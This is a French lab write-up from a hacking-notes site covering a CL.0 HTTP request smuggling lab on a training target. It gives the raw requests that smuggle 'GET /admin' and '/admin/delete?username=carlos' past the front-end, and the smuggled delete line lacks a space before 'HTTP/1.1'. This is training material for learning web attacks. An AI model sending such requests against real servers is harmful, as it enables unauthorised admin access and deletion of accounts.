> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/cl-0-request-smuggling.md).

# Request Smuggling CL.0

### Détournement de requêtes CL.0

#### **Résumé du laboratoire**

Dans ce scénario, une **CL.0** vulnérabilité est exploitée, où le serveur back-end \*\*ignore l’en-tête Content-Length\*\* pour certains chemins. Cette incohérence permet d’injecter une seconde requête dans le corps d’une requête POST apparemment normale.

#### **Identification du point vulnérable**

Après quelques tests, nous constatons que l’URL :

```
/resources/images/blog.svg
```

est traitée différemment par le back-end :/ même si Content-Length est défini à zéro, le serveur reçoit **tout le contenu fourni**, créant une fenêtre parfaite pour le détournement basé sur CL.0.

#### **Injection d’une requête cachée**

Une requête POST minimale est d’abord envoyée pour confirmer le comportement :

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 0
```

Ensuite, nous profitons du fait que le back-end lit malgré tout le contenu qui lui est destiné **fait passer en contrebande une seconde requête**, visant à atteindre le panneau d’administration :

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin HTTP/1.1
Test : A
```

Le back-end interprète la partie injectée comme une requête indépendante et nous permet de contourner les restrictions du front-end.

<figure><img src="/files/5a842097886cb96b1d678b2b562fdb17fe925611" alt=""><figcaption></figcaption></figure>

#### **Suppression de l'utilisateur Carlos**

Une fois l’accès au panneau d’administration confirmé, une requête similaire est injectée pour déclencher l’action :

```http
/admin/delete?username=carlos
```

Cela donne :

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin/delete?username=carlosHTTP/1.1
Test : A
```

<figure><img src="/files/ada35f393b66bec90a671f27454798da9aea41a6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/cl-0-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
